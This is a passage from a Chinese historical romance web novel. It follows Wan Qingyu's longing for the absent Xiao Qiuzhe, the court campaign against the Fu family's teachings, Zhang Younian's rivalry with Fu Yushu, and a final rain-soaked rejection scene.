乔言说着,眼中浮现忧色。这些年,晚家屡遭变故,对她而言无疑是沉重的打击。长子与丈夫相继离世,次子如今又身受重伤,眼下三女儿的婚事亦无着落。 提及萧秋折,从前,晚青妤总觉得自己对他的感情摇摆不定,每每情动,皆因他的靠近与亲吻。那种炽热的情愫,夹杂着欲望,让她一度分不清自己对他的感情究竟有多深。 可自从他远赴边关,这几日来,她的心仿佛被一根无形的线牵引着,时时刻刻都绕着他转。 吃饭时想他,睡觉时梦他,就连发呆时,满脑子也都是他的模样。思念汹涌时,甚至让她不知不觉间泪湿衣襟。 直到此刻,她才恍然明白,这便是爱情吧,是她长大后才真正懂得的爱情,是一种浓烈到让她心尖发颤的爱情。 正是因着这份感情,她的身世之谜才愈发让她在意,也愈发让她痛苦。这些日子,她一直将这份心事深埋,未曾与人言说。如今娘亲问起,她终于忍不住,想要倾诉一二。 她低垂着头,指尖无意识地搅动着手中的绢帕:“娘,您可还记得七年前,您带我去皇宫参加春日宴?那时我才十二岁,在宫门前遇见了萧秋折。那是我头一回,感受到心动的滋味。” “回府后,我便开始给他写信,前前后后写了十几封。后来被父亲发现了,他不许我再写信,也不许我再提起他。那时家中人人皆知此事,大哥二哥笑我,您也劝我,说我年纪尚小,看人不准,一时的冲动算不得终身大事。您开导我,安慰我,渐渐地,我也将他淡忘了。” “那时,他从未给我回过一封信。后来我才知道,原来他正经历一场生死劫难,险些丢了性命。那时他受了许多苦,直到半年后才看到我写的信。他说,那时他已垂死,连眼睛都看不见了,是身边的人将信读给他听的。他本已心灰意冷,可听了我的信后,竟渐渐振作起来,重新有了求生的念头,然后咬牙活了下来。” 她鼻子很酸,眼泪也含在眼眶里:“那场劫难,于他而言,是人生中最黑暗的时刻。可我没想到,我那时写的信,竟成了他活下去的支撑。他说,他从每一个字中感受到了活着的意义。可后来,他怕自己的遭遇给不了我幸福,也觉得我们错失了机会,便再未给我回信。” “两年前,我们家遭难,他挺身而出,说要娶我。那时大家都以为他是为了利益,为了巩固朝堂地位,可其实……他只是想娶我,真心实意地想让我做他的妻子。可那时,我已喜欢上了付钰书,因此,洞房花烛之夜,我们便签下了和离书。” 当时,那封和离书,他是依怎样的心情签下的呢? “前段时间,他去山上寻我,将我接到了亲王府。在相处的日子里,我们才真正明白了彼此的心意,也将过往的误会一一说开。可如今,我的身世却成了我们之间的阻碍,让我们再度陷入痛苦之中。” “他在亲王府过得并不容易,许多人想置他于死地,亲王府如同一个空壳,全靠他一人支撑。皇家一再想要除掉他,他每日都在刀尖上行走,咬着牙硬撑着。前几日他刚遭人暗算,还未缓过劲来,又被派去了边关。即便他出身尊贵,在皇权面前,依旧无能为力。” “不过我相信他,相信他能挺过这一次,就像他从前无数次那样,冲破困境,活下来。” 不知何时,她的泪水已悄然滑落,一滴一滴,温热地砸在手背上。她拿起绢帕,擦拭手背上的眼泪,指尖却止不住地抖。 或许自那日离别后,他们便真的会天各一方,此生再难相见。 人活着,总是痛苦。爱情,亦是如此。 她本是个乐观之人,活了十几载,从未像这段时日般消沉。有时她迷迷糊糊,甚至想不明白活着的意义究竟是什么。 可每当想起那些美好的瞬间,她又觉得,人活一世,或许便是为了在困境中突破,在磨难中成长,而后去追寻那些美好的事物。 只要一直往前走,路边的花总会盛开,春天也终会到来。四季轮转,各有其美。人生百态,亦各有其意义。 母亲见她落泪,甚是心疼,她深知女儿已动了真情,更明白这段时日的变故对她打击何其沉重。 母亲的眼眶也红了,轻轻将她搂入怀中,如同儿时那般,温柔地抚着她的背,温声道:“妤儿,娘懂你。娘也为你高兴,至少这世上,有了一个与你契合的灵魂。你们相遇,相知, 这便是缘分。” 这便是缘分。 春日里,艳阳高照,花儿格外芬芳。 萧秋折,什么时候可以一起去赏花呢? 好想好想让你抱抱啊! —— 萧敖拿到萧秋折呈上的证据后,细细整理了一番,随后联络了几位旧日好友,开始密谋筹划。 他亲自前往利州,到了之后,果然如萧秋折所言,利州一带已发生了翻天覆地的变化。百姓们的思想仿佛被魔化了一般,固执己见,终日无所事事,只知聚在一起诵读那些所谓的“秘籍”,幻想着不切实际的东西。 萧敖这些年虽鲜少过问朝政与百姓生活,但也曾听闻付家宣扬的思想。只是多年来,付家思想并未引发太大的问题,加之付家在文学领域几乎撑起了半边天,门下培养了不少才子,可谓功过参半,难以一概而论。 然而,眼下的情形却已超出了他的预料,利州百姓的思想竟已到了不可控制的地步。若再放任下去,恐怕整个国家都将陷入混乱。 萧敖当即带领一批人马,先将百姓手中的那些书籍悉数收缴,随后将他们聚集起来,开始讲学。 可是许多人对此极为不满,纷纷聚集在街上,或自戕,或纵火,场面一度失控。 萧敖望着眼前的乱象,眉头紧锁。若强行镇压,恐怕利州大半百姓将丧命,且此事一旦传开,整个国家都会陷入动荡。但此事若不处理,后果同样不堪设想。 皇家早该知晓此事,却一直视而不见,也不知究竟在打什么算盘。 既然皇家不管,那便由他来收拾这烂摊子。 萧敖决定先杀鸡儆猴,将那些顽固不化、带头闹事的人悉数抓捕。 人的思想根深蒂固,非一朝一夕可改,甚至有些人一辈子都无法转变。萧敖请来了不少学士,开始为这些百姓讲学。听话者,赏黄金,不听话者,杖责伺候。 萧敖整顿利州的消息很快传到了京城,也传入了付家人的耳中。付家当即派了一批人前往利州,美其名曰“澄清”,声称利州百姓所读书籍与付家毫无关系,并派出一些学士为百姓讲学。 然萧敖早已洞悉付家的用意。经过他的追查,结合萧秋折提供的证据,已查明此事与付家脱不了干系。 付家若是遇到旁人,或许还能蒙混过关,可惜他们遇到的是萧敖。 萧敖当年在京城中亦是叱咤风云的人物,虽多年未插手朝政,但一出手便令人折服。短短数日,他便将利州整顿得井井有条,百姓们也逐渐恢复了理智。 这日,新晋吏部侍郎张攸年突然登门拜访。萧敖见他前来,心中颇感惊讶。 他对张攸年有些印象,知晓他是乔家大院下人的儿子,如今竟一跃成为吏部侍郎,倒是令人意外。 萧敖不解问道:“张大人今日前来,所为何事?” 张攸年深深鞠了一躬,神色恭敬道:“王爷,在下久仰您的大名,亦知您近日在治理利州之事。利州出现这般乱象,自然与付家脱不了干系。我此次前来,是想助王爷一臂之力,也为王爷尽一份心力。” 萧敖闻言,目光微沉,细细审视着他。张攸年刚升任吏部侍郎,按理应当先辅佐皇上,稳固自身在朝中的地位,而非此时便来寻盟友。 他此番前来,目的倒是令人捉摸不透。 张攸年似看出萧敖的疑虑,从袖中取出一本册子,双手呈上,恭敬道:“王爷,这是我多年来追查付家的一些证据,皆已一一核实,且有确凿的人证物证。想必对王爷会有所帮助。” 萧敖接过册子,随手翻了几页,眉头渐渐皱起。册子上详细记载了付家多年来不正当的敛财手段、私设的宗派分支以及暗中操控的私塾。 他合上册子,抬眼望向张攸年,沉声问道:“这些可当真?你已有了确凿的证据?” 张攸年点头,神色肃然:“回王爷,此事我追查多年,证据确凿。若王爷有意铲除付家,这些证据便是一把锋利的刀。” 萧敖沉吟片刻,问他:“你与付家有仇?” 张攸年摇头:“无仇。只是看不惯付家的所作所为,亦深知他们的思想已影响到国之根本。付家势力日渐壮大,若无人出手,恐酿成大祸。而能控制此局面的,唯有王爷您。” 萧敖听罢,忽而笑了,眼中闪过一丝赞许:“听起来,你倒是个正直之人。好,这些证据我暂且收下,多谢你前来相助。” 张攸年闻言,急忙又行了一礼,郑重道:“若王爷日后还有需要,尽管差遣。我虽上任不久,但一心为国为民,只愿国家安定,如此方能安心在朝中立足。” 萧敖拍拍他的肩膀,应了一声。 张攸年再次行礼,随后告辞离去。 三四日后,付家突然陷入了一场风波。原本皇上欲将公主许配给付钰书,可不知中间出了什么岔子,皇上竟又收回了旨意,转而将公主许配给了当今状元郎王庭。不仅如此,皇上还暗中下令对付家展开调查。 至于皇上为何突然改变主意,甚至震怒,朝中无人知晓,只是隐隐有传言,付家似乎做了些触怒龙颜之事。 一时间,付家陷入了前所未有的困境,京城中许多付家名下的私塾、书肆纷纷关门歇业。 这日,张攸年下朝归来,刚走到乔家大院门前,便见付钰书倚在门旁。 付钰书看到他,二话不说,直接抽出长剑指向他,骂道:“张攸年,你这个叛徒!” 张攸年借着门前的灯光,见付钰书满脸怒容,轻笑一声,伸手将那指向自己的剑尖轻轻推开,语气淡然道:“叛徒?算不上吧。我不过是做了些为国为民的好事罢了。你们付家侵害百姓多年,也该收手了。” 站在张攸年的立场,并无过错。 付钰书见他一副云淡风轻的模样,心中怒火更甚,冷笑道:“别以为你做了官,就能无法无天。我告诉你,你出身卑贱,即便穿上这身官服,也压不住你那骨子里的卑贱气质。枉我这么多年将你视为挚友,事事与你分享,结果你竟转头出卖我们。” 付钰书情绪激动,显然已得知张攸年暗中彻查付家,并将证据交给了萧敖。他握剑的手微微颤抖,眼中满是失望与愤怒。 张攸年却不急不躁,依旧神色平静道:“你先别激动,我们进屋喝杯茶,我再与你细说。” 付钰书冷哼一声:“谁愿意与你喝茶?我告诉你,付家基业百年,无人能撼动。这点麻烦算不了什么,但我气的是,出卖我们的竟是我身边的人。张攸年,你自幼贫困,我待你如手足,给你吃穿,带你入府,事事与你分享。可如今你翅膀硬了,有了本事,竟回头捅我一剑?你可知,你这样做,让我有多失望?” 付钰书说得没错,他们确实是一起长大的。那些年,张攸年常常跟在付钰书身边,但并非如付钰书所言那般,给他好吃好喝,视他为友,付钰书只不过是留他在身边,来彰显自己身份尊贵罢了。 张攸年苦涩一笑,灯光下望着他,语气依旧平静:“到了如今这个地步,我们确实该好好说一说了。我想告诉你的是,人这一生,出生或许注定了命运,但若命运不公,我们仍可凭自己的努力去改变。” “你曾经确实对我有过几分好,我也曾将你当做朋友。甚至,我还侥幸地想过,以你们付家的能力,待我长大成人后,你会对我伸出援手。记得我十岁那年,学问已颇有根基,我想进你们付家的私塾读书。为了能进去,我熬夜苦读,父亲更是花光了所有积蓄,才为我争取到考试的资格。” “结果呢?我考了第一名,却未能进入你们付家的私塾。原因不过是你在私塾先生面前轻飘飘地说了一句‘我们付家果然广施恩惠,什么样的人都收。’你这一句话,直接让先生改变了主意,将我拒之门外。” “付钰书,我确实身份低微,比不上你。但以我的才学,莫说进你们付家的私塾,便是进皇家书 院,我也配得上。这些事已然过去,提起来也无甚意义。但我要告诉你的是,出生或许能将人分为三六九等,但这并非结局。” 他说到这里,又苦涩一笑:“对了,还有一件事要告诉你,我向晚青妤表白了。” “什么?”这句话终是让付钰书站不住了,满眼不可置信,“你向晚青妤表白?” 他怕是说笑的吧! 张攸年料到他如此震惊,道:“你定是在想,像我这种身份的人,怎配与她表白?没错,若按我之前的身份,我确实没有资格。但如今不同了,我好歹也是个三品官员。” “三品官员?”付钰书冷笑,“连我都走不进她心里,你觉得她会接受你?况且,萧秋折那王八蛋霸占着她不放,你就不怕他杀了你?” 张攸年摇头:“不怕,我觉得他也不会杀我。我知道他与晚青妤之间的感情,所以我对晚青妤说,我不在乎她与萧秋折的情分,我也不要名分,我只想守在她身边,陪着她。” 付钰书简直听到了天大的笑话:“果然,果然你骨子里都是卑贱的,竟还打算做她的情人?你算个男人吗?连抢都不敢抢。” “抢?那你抢过来了吗?你抢了这么多年,可曾抢到过?你又怎知萧秋折一定能从边关活着回来?我先接近她,起码还有些机会。而你,如今把事情做得如此绝,恐怕连与她多说几句话的机会都没了。” 张攸年又道:“付钰书,你还不明白吗?在生活上、在官场上,身份或许是一种加持,但在感情里、在爱情里,身份根本起不到任何作用。真心才能打动人。你早已出局了,两年前就已经出局了。当初你比我们任何人的机会都要多、都要好,可你没有把握住。错过就是错过了。” “所以,在这场感情之争中,我从未将你划入其中。我要对付的,只有萧秋折。” 付钰书怎么也未想到,有朝一日对他说出这种话的人竟然是张攸年,他满眼眼复杂地望着张攸年:“张攸年,你的话别说太早,你可知道萧秋折是个什么样的人?当初他为了迎娶晚青妤,我在他胸口上狠狠刺了一剑,他都能一动不动。这样的人,疯狂至极,你根本抢不过他。我劝你在事情还未发展到不可收拾的地步之前,尽早放手。还有,我警告你,绝不可对青妤做任何伤害她的事,更不可对她动手动脚,否则我会杀了你。” 张攸年动了下眉梢,应道:“你放心,我们都是成年人,都有自己的底线。虽然我出身低微,但我有道德和人品。” 他说到这里,抬眼望了望院内:“已经很晚了,我要进去休息了。你是跟我进去喝杯茶,还是现在回去?” 都这种时候了,他还有闲情喝茶? 付钰书冷哼一声就要走,却听张攸年又道:“付钰书,你应该清楚,你们付家人在做什么事。正所谓‘多行不义必自毙’,总有一天,大祸会降临。” “我知道你自幼是个正直之人,也深知你厌恶付家的思想,所以这些年你总是外出,总是以各种借口反驳你父亲强加给你的观念。虽然这两年我不知道你的思想是否已被浑浊,但我想告诉你的是,若事情真的恶化,你若想保命,我可以告诉你一个办法。” 张攸年的话直白而犀利,言下之意再清楚不过,付家早晚会倒台,甚至可能满门抄斩。而他,愿意在危难之时,给付钰书指一条生路。 付钰书冷笑着,手中长剑一收,道:“张攸年,你别在这儿假惺惺地装什么好人。就算我想活命,也轮不到你来帮我。” 他说着,走近他一步,伸手扯了扯他身上的官服,勾了下唇角道:“这身衣服穿在你身上,真是丑极了。” “丑?”张攸年却笑,“我怎么觉得很好看?起码青妤会比以往多看我一眼。她还叫我张大人呢。” “疯子。”付钰书翻身上马,狠狠骂了一句“狗东西”,然后扬鞭而去。 张攸年站在原地,低头看了看自己身上的官服,伸手轻轻抚平衣襟上的褶皱,整理妥当后,便进了院子。 —— 边关的恶霸与叛军虽骁勇善战,且个个宁死不降,但在萧秋折的指挥下,大军势如破竹,仅用了七日七夜的时间,便将这片混乱之地彻底平定。 前后不过一月,萧秋折已收复了整个边关。这般战绩,即便是朝中最负盛名的将领,也不敢轻易想象,估计连皇上都未曾料到他能如此迅速地将边关收复。 边关之事了解,萧秋折并未回京,他留下两名将军在边关收拾残局,自己则率领另一支事先安排到谷地的军队,直奔周边几座尚未收复的城池。 他一路过关斩将,很快接连夺下两座城池。 萧秋折以极短的时间,完成了旁人数年都未能做到的壮举。这般功绩,在整个国家前所未有。将来所得到的权势与尊荣,也必将无人能及。 若他此次能顺利活着回到京城,那么,他的身份与地位,将会有翻天覆地的变化。 第57章 第57章或许,这是他们此生最后…… 转眼间,两月已过,萧秋折迟迟未归。晚青妤心中焦灼,每日必到院门前凝望,盼那熟悉身影能自路口尽头翩然而至。甚至曾数度奔赴城门前等他。 然两月来,他音讯全无,这对晚青妤而言,漫长等待,比度日如年更添煎熬。 这两月间,她也多次遣人到母亲所言之地寻觅证据,冀望能寻得亲生父母的蛛丝马迹。然十数载光阴已过,寻觅之举犹如大海捞针,即便是当初那位婆子也难觅其踪。 近日来,天公不作美,细雨淅淅沥沥,屋檐雨水滴答成韵。 这日付钰书突然造访。他立于院门前,未撑雨伞,任雨水浸透衣衫。 晚青妤打着伞站在他对面,瞧着他憔悴模样,不禁皱眉道:“不如到院中凉亭暂避?你身上都湿了。” 身体要紧。 付钰书已在此站立多时,一直沉默不语,即便听闻这话也不做声,神情忧伤,像是遭遇了重大变故。 近日来,付家麻烦不断,晚青妤亦有所耳闻。先是皇上震怒,暗中调查付家。继而朝中多位官员纷纷弹劾,直指付家书籍思想有异。 然付家世代书香,根基深厚,若强行拔除,恐牵连甚广。且京城贤士多出自付家私塾,朝堂上亦不乏付家培养之官员,牵一发而动全身,欲扳倒付家实非易事。 但近日种种迹象又表明,此事已对付家造成一定影响与打击。 付钰书心情低落,或与此事有关。 雨滴自伞檐滑落,付钰书透过蒙蒙细雨,凝视晚青妤的双眼。她看他的眼神已与 往昔不同,甚至有一丝怜悯。 为何怜悯?不过看他淋了雨罢了。 他依旧不言,晚青妤垂下眼帘,道:“若无他事,便请回吧,我还有事要忙。” 她赶他走,他这才动了下身,终是开口,声音低沉:“青妤,我此番前来,只想最后问你一次,你心中可还有我?我们之间……可还有无可能?” 一个固执的人是很难改变的。 时至今日,他仍执着于此问。 晚青妤轻叹一声,神色认真地回道:“付钰书,我早已言明,我们之间绝无可能。你再问我,还是这般回答。” 付钰书心中仍如刀绞,又不甘心地追问:“那你能否告诉我,究竟为何?” 究竟为何?对他如此绝情。 晚青妤最厌他这般刨根问底,明明答案已明,却仍纠缠不休。她无奈道:“付钰书,两人相守,需得两情相悦。若有一方心意不坚,即便勉强在一起,亦无善果。如今我心中唯有萧秋折,再无他人容身之地。” 萧秋折。 付钰书心中酸涩难抑,声音微颤道:“果然……你果然对他动了情。可我不明白,你究竟喜欢他什么?是样貌、才华,还是身份?我又有哪一点不如他?” 心中已是百转千回,他不解,明明从前她心悦的是自己,为何如今却能如此轻易地爱上旁人? 两年来,她与萧秋折并无太多交集,不过是自山上归来后,才多了些接触。可为何,他们竟能在如此短的时间内,生出这般深厚的感情? 这感情,未免太随便了吧。 “付钰书。”晚青妤蹙眉叫他,“情之一字,岂是样貌、才华、身份所能衡量?我与他之间,心意相通便是。你无需再问,亦无需再执着。你我之间,早已缘尽。” 此番相见,晚青妤决意与他作一彻底了断,她不愿再听他追问那些无果之事。 她再道:“付钰书,或许是你爱得太深,亦或是你爱得太执着。然世间之情,各有不同,爱情亦非一成不变,它会因时、因事、因人而变。若两人无缘相守,便是情意未至深处。若彼此真心相爱,纵使刀山火海,亦愿携手共赴。” “记得我十几岁时,你初次向我表白,我便曾告诉过你,那时我年纪尚小,分不清我们之间究竟是何种情愫。我们自幼一同长大,是玩伴,是挚友,你待我极好,我也喜欢与你相处,尤其爱与你共坐书斋,静读诗书。那段无忧无虑的童年时光里,处处有你的身影。然而,若未至一定年岁,若分不清心中情愫,那最终的感情,或许并非爱情。” “在我十二岁那年,初见萧秋折时,心中便生出一种异样的感觉,那感觉与你给我的截然不同。自那时起,我便开始给他写信,十余封书信,字字句句皆是我此生最真挚、最触动心弦的话语。可那时的我不过是个十二岁的少女,尚且分不清那究竟是什么。” “后来,父亲阻止了我,很长一段时间里,我难以忘怀他,但随着年岁增长,心智成熟,我亦觉当初那些书信或许有些幼稚,不过是一时冲动罢了。” 她的声音不大,但是付钰书在雨中听得非常清楚。 他一语不发。 她继续道:“再后来,当我懂得一些情爱之事后,对你亦生出了一种异样的感觉。那是因为,我身边除了哥哥和弟弟,唯有你待我最好。后来你对我的态度,也悄然发生了变化,一时让我春心萌动。我儿时便曾幻想,我们长大后会是什么样子。我幻想着你如何优秀,幻想着你日后如何叱咤风云。结果便是,那时你长成了我心目中的模样,所以我才有了倾慕之心。” 她语气渐缓,似在梳理心绪:“后来,我搬到山上的那两年,想了很多很多。大约用了半年时间,我便将你彻底淡忘。我所忆起的,唯有我们儿时一同玩耍的欢乐日子,再无那些令我心动的感情。或许是因为长大了,或许是因为经历了一些事情,让我对爱情再无太多期待。但后来随萧秋折回来,我再次体会到了心动的感觉。也许早在十二岁初见萧秋折时,我便在心中种下了一颗爱情的种子,直至今日,那棵种子已然长成了参天大树。” 说到这里,她垂下头,微风携着细雨拂上肩头,浸湿了一片衣衫。她未觉寒意,继续道:“我知道,在感情一事上,这对你而言极为残忍。在这纷繁复杂的情爱纠葛中,我想对你说一句,付钰书,对不起。” 对不起。 这一句“对不起”,仿佛为这段情缘画上了句点,他们之间,此生再无可能。 付钰书不知从哪一句开始,心中、口中、眼中皆是酸涩难抑。明明是凉凉的雨水,滑落下来却觉温热的。 他沉默良久,努力平复心绪,声音几近哽咽道:“青妤,你是爱过我的,对不对?在你及笄之后,在你对爱情有所认知之后,你是真心爱过我的,对不对?” 他仍执着追问。 晚青妤依旧垂首,没有回答。 他等了好一会没等到答案,忽而冷笑一声,觉得自己多年深情竟如此可笑。他低声道:“你知道吗?我对你的感情,你从未问过。今日,我也想与你说说。从我们儿时起,直至你成年,我对你的感情亦是模糊不清的。后来有一次,母亲为我提及婚事,介绍了一位女子。那女子才貌双全,站在我面前时,我却毫无感觉。那时我才明白,原来我对你与对旁人竟是如此不同。我的心里,早已被你占满。” “青妤,你可知你错过了一个全心全意爱你的人?至于两年前你父亲出事时,我为何突然离开付家,今日我愿意向你解释。” 他顿了顿,握了握手边湿透的衣袖,道:“此事与我们付家有关。我自幼便看不惯付家的思想,认为那些思想只会侵害百姓,毫无益处。皇家推崇,也不过是想借此牵制百姓,以便治理国家。为此,我与父亲争吵多年,却始终无法改变。这是世世代代留下的东西,凭我一己之力,难以撼动。每次付家有所动作,我都会再三劝阻父亲,换来的却只有鞭打与谩骂。我无能为力,只能以离家出走泄愤,以此要挟。然而,结果却总不如意。” “我回来后,才得知你父亲将面临斩首。此前我曾求过父母,他们只说无能为力,让我暂且等待。你父亲在朝中尚有势力,皇上不会轻易动他。而我……当时也确实懦弱,未再争取,只因怕与父母闹得太僵,怕他们会阻我与你来往,然后逼我迎娶他人。” “青妤,那次是我的错,可我不甘心,明明只是暂时的分离,为何会演变成今日这般?我也后悔,若当初冷静些,若未离开京城,好好想想办法,或许真能为你父亲脱罪,你也不会嫁给萧秋折。” 太多如果,再追悔莫及又有什么用呢? 他沉浸在过往里,无论是好的,还是坏的,他都不肯走出来,也不肯试着走出来, 晚青妤只感握伞的手十分冰凉,她劝道:“放下吧,真的很累。别再因过去消磨自己的意志。” 意志丧失,人就完了。 晚青妤很清楚,他们这段感情注定无法善终。唯一的原因,便是付钰书生在付家。一旦付家思想落寞,一旦皇家动了铲除他们的念头,付家便只有死路一条。而付钰书作为付家最器重的后代,亦难逃厄运。 有些人,生来便已注定结局,纵使不甘,亦无能为力。 雨依旧淅淅沥沥地下着,凉风拂过,寒意侵身。晚青妤已在此站了许久,她不愿再多言。她知道,说得越多,他越难割舍。 她道:“付钰书,人这一生,并非只有感情才能带来快乐。若一段感情让你痛苦,又何必强求?如今付家麻烦 事缠身,你应该去思考今后该如何做,而不是再把心思放在儿女情事上。” 付家一旦落败,可能连命都没了,还谈什么感情。 付钰书听着,其实他早已洞悉付家的结局。他当初之所以如此反对,正是因为他以一个清醒者的眼光看待此事,付家的思想虽利于国家统治,却注定难以长久。人心一旦被污染,便再难洗净。 以前他认为,付家的衰败,或许会在他这一代终结,亦或许会延续至下一代。但如今看来,这结局或许比他预想的来得更快。 他攥了攥早已湿透的衣袖,缓缓抬眸看向她。他双眼中的破碎,比那落日余晖更令人心碎。 他骨子里的固执,驱使着他又问了一遍:“青妤,可否与我远走高飞?我什么也不要了,什么也不管了,只想带你离开这里。” 这便是付钰书,一个在付家思想浸染下成长起来的顽固之人,亦是一个因读书过多而变得多愁善感的痴人。 或许他自己也深陷痛苦与矛盾之中。他有着清醒的头脑,却怀着一颗不甘的心。他又时常迷茫,不知自己活在这世上的意义为何。 他眼见付家的家业,却不知这些所谓的“贡献”究竟为这世间带来了什么。他没有别的出路,只能听从父亲的安排。若他做官,却行不利于付家之事,那便是大逆不道。 他甚至也未曾察觉,他的思想早已与常人不同。常人不会如此固执,正如他当初固执地想要阻止父亲继续传播付家思想一般。他一遍遍与父亲争吵,一次次离家出走,却始终未能找到一个合理的解决办法,反而让事情愈演愈烈,最终没有一点实际结果。 最后一次,他一走便是两年。这两年里,他学会了什么?改变了什么?是否因他的离开,让付家停了手?是否因他的决绝,让自己摆脱了同流合污的命运,去做一些更有意义的事? 然而,结果却是,他归来后,依旧回到了父亲身边,依旧做着那些心不甘情不愿却又无能为力的事情。 他自己都不清楚,可能他早已妥协了。 他矛盾,他挣扎,无论是在家族中,还是在爱情里,他从未满意过。正因如此,他已无法像常人一般,做出一个对彼此都有益的选择。他的固执与迷茫,也将他困在了命运的囚笼之中,无法挣脱。 现在他又如此问,她觉得先前的话或许还不够决绝,于是她语气冷然地道:“雨淋了这么久,你的脑子还未清醒吗?付钰书,我们之间早已没有任何可能。如今我已心有所属,绝不可能再与你在一起,更遑论与你远走高飞。” “你总是说这些气话,能不能冷静下来,好好想一想,想一想你今后该如何自处?你们付家如今面临的问题何其严重,而你未来的结局也未必如意。我希望你能为自己谋一条生路,寻一个脱身之法。” “我与你一同长大,只要你不做伤天害理之事,我自然愿你平安顺遂,愿你日后能过得幸福。可如今这般境地,感情救不了你,只会让你更加痛苦。暂且放下这些执念,冷静思索一番,也许过些时日,你再回头来看,便会豁然开朗,觉得一切也不过如此。” “付钰书,你走吧,以后别再来了,我也不会再见你。” 她的话,字字如刀,句句如刃。她并未指望能立时点醒他,只盼他能认真思索自己的人生与前路,而非一味沉溺于这段早已无果的感情中。 雨比方才下得更急了,他垂着头,湿发贴在脸颊,雨水顺着他的眉眼滑落。 当初那个意气风发、阳光开朗的少年,竟变成了如今这般模样。 他究竟是从何时起,失去了那份自信与斗志? 晚青妤不愿再多说,转身欲走,付钰书这才急忙开口:“青妤,你能否再听我说几句?” 她真的不愿听,但还是停下了脚步。 他道:“张英年告诉我,他已向你表白了。但我要提醒你,离他远一些,躲得越远越好。他那个人,表明老实,实则阴险至极。他故意说要与你做情人,不过是在试探你。他比我们想象的要聪明得多,也极有手段。” “多年来,我视他为友,他却背地里一直在搜集我们付家的罪证,转身便背叛了我。这样的人,什么事都做得出来。你日后一定要小心。还有,你四弟被他救出,包括你二哥脱罪,这些并非巧合,极有可能是他一手安排的。青妤,即便你不愿与我在一起,我也不愿你受到半分伤害。” 任何时候,他都希望她平平安安的。 关于张攸年,晚青妤心中有数。张永年是何等人,近来对她的态度如何,她很清楚。她回道:“多谢你告诉我这些。雨越下越大了,你回去吧。” 她说完,头也不回地离开了。 付钰书望着她的背影渐渐消失在回廊尽头,仿佛有千万根针扎入心口。他仰头望了望天,天色灰蒙,雨水如注,仿佛要将这天地间的哀愁尽数倾泻。 今年的雨似乎格外多,如同人的眼泪,总也流不尽。 或许,这是他们此生最后一次相见了。 接下来的半月里,付家频频出事,朝中官员与平民百姓纷纷向皇家状告付家罪行。更甚陆临查到了付家最近风头正盛的那本书的作者,此人竟与当年那位赠书给晚青妤父亲的老先生是同一个人。 经过陆临的审问,那老先生招供了多年来为付家撰写书籍的内情。付家许多书籍看似寻常,实则经过精心设计,字里行间暗藏玄机,潜移默化地影响着读者的思想。这些书籍不仅影响了一代代人,更毒害了正在读书的孩童。 陆临带着证据与那位老先生面见皇上。皇上虽心中仍对付家有所庇护,但在众臣与百姓的施压下,只得勉强做出惩罚付家的决定。 皇上先是查封了付家在京城中的所有私塾与书肆,随后给付家及其旁支一个月的时间,命他们澄清自己并无祸国殃民之意图。 然而,明眼人皆能看出,即便到了这般境地,皇上仍不愿彻底铲除付家。因为皇上深知,一旦付家倒台,百姓思想动荡,国家必将陷入长时间的混乱。届时,若朝廷未能及时妥善处理,便会留下隐患,甚至给外敌可乘之机。 而作为付家长子,付钰书在此危难之际,自然责无旁贷地挺身而出,竭力保全家族。 尽管他与付家的思想背道而驰,却也不愿眼睁睁看着整个家族遭受满门抄斩之祸。 最终,他只得选择与付家站在同一战线,努力解决着麻烦。只是如此一来,他便与晚青妤彻底背道而驰,再无半分可能。 与此同时,远在利州的萧敖以雷霆手段治理州务,行事果决,英勇非凡。他仅用短短时日,便干脆利落地平息了利州的动荡。 此举亦令朝中众多大臣对他刮目相看,纷纷向皇上进言,恳请召他回朝任职,赋予他更多权位。毕竟,在这国家动荡之际,许多清醒的大臣已然看出,皇上如此包庇付家,已对社稷造成了深远的影响。 一代君王若独揽朝政,不加制衡,终将祸国殃民。 而张攸年,甫一上任,便在吏部崭露头角,一举揭发了吏部尚书多年来在朝中的不忠之举,并将证据呈递皇上。 在这等紧要关头,有大臣生出乱子,皇家为巩固威严、杀鸡儆猴,竟一时冲动,将吏部尚书斩首,随即封张攸年为吏部尚书。 一时间,张攸年从三品官员跃升至二品,成为朝中举足轻重的人物。 他的晋升之路与展露的才华令众人震惊不已。自幼吃苦耐劳、忍辱负重的他,与其他官员截然不同。他比旁人更多一份韧性,也多一份圆滑。他能忍受世人的嫌弃与谩骂,亦深谙审时度势之道。 尽管张攸年在朝中地位显赫,却始终不肯搬出乔家大院,且时常前往晚家探望晚青妤。 他以十足的诚意对待晚家人,甚至向皇上举荐了晚青桁。皇上得知晚青 桁颇有才情后,便在吏部为他封了一官职,命他辅佐张攸年。 转眼间,晚青桁从付家门下转投张攸年麾下。 皇上的圣旨对如今的晚家而言,无异于不可违逆的天命。因此,晚青桁别无选择,只得乖乖赴任,尽心辅佐张攸年。 张攸年此举究竟是想提拔晚青桁,还是如付家一般,欲拿他牵制晚家,晚青妤一时难以琢磨。 这段时日,晚青妤仔细观察,发觉张攸年依旧如往常般温和谦逊,且能力出众。他对她也并未有过分强求,甚至自那日表白后,再未向她吐露半句情意,只是对晚家上下格外上心,对她亦是关怀备至。 如今,朝堂、国家乃至晚青妤身边的每一个人,皆在悄然变化,仿佛一场无声的风暴,正悄然席卷而来。 这日,天光终于放晴,云开雾散,暖阳洒满庭院。有人匆匆赶来,递给晚青妤一封信,说是从边关送来的。 晚青妤一听“边关”二字,心中顿时涌起一阵激动,连忙接过信,迫不及待地将信拆开。信纸虽有些陈旧,但信上的字迹却干净利落。 晚青妤站在院中的暖阳下,拿着那张让她激动不已的信纸,只是刚瞧见开头几个字,眼眶就瞬间红了。 信上第一句写道:爱妻青妤! 第58章 第58章“你个混蛋,你放开我。…… 爱妻青妤: 自别后,已逾数日。料想你必是挂念于心,故特修书一封,以慰你心。青妤,勿需忧我,我一切安好。虽边关黄沙漫天,然自京城至边关,一路行来,青山绿水,繁花似锦。每每见此美景,心中便思及你,何时方能携你共赏这大好河山?春日繁花,夏日甜果,秋日落叶,冬日雪莲,皆欲与你同游共品。 待我归京,诸事安顿之后,必当精心筹划,携你自京城启程,游遍天下山水,尝尽世间美食。昔日,我总以为权力地位乃人生不可或缺之物,唯有留居京城,方能体现价值。然如今,面对这青山绿水,方觉世间美好之物何其多,美丽之地亦不胜枚举。幸得你日后能相伴左右,即便远行,亦不觉孤寂。 边关之事,我已大致料理妥当,然尚有他计需行,暂不能即刻返京。你且宽心,待我归来之时,必当是一个完完整整的夫君。 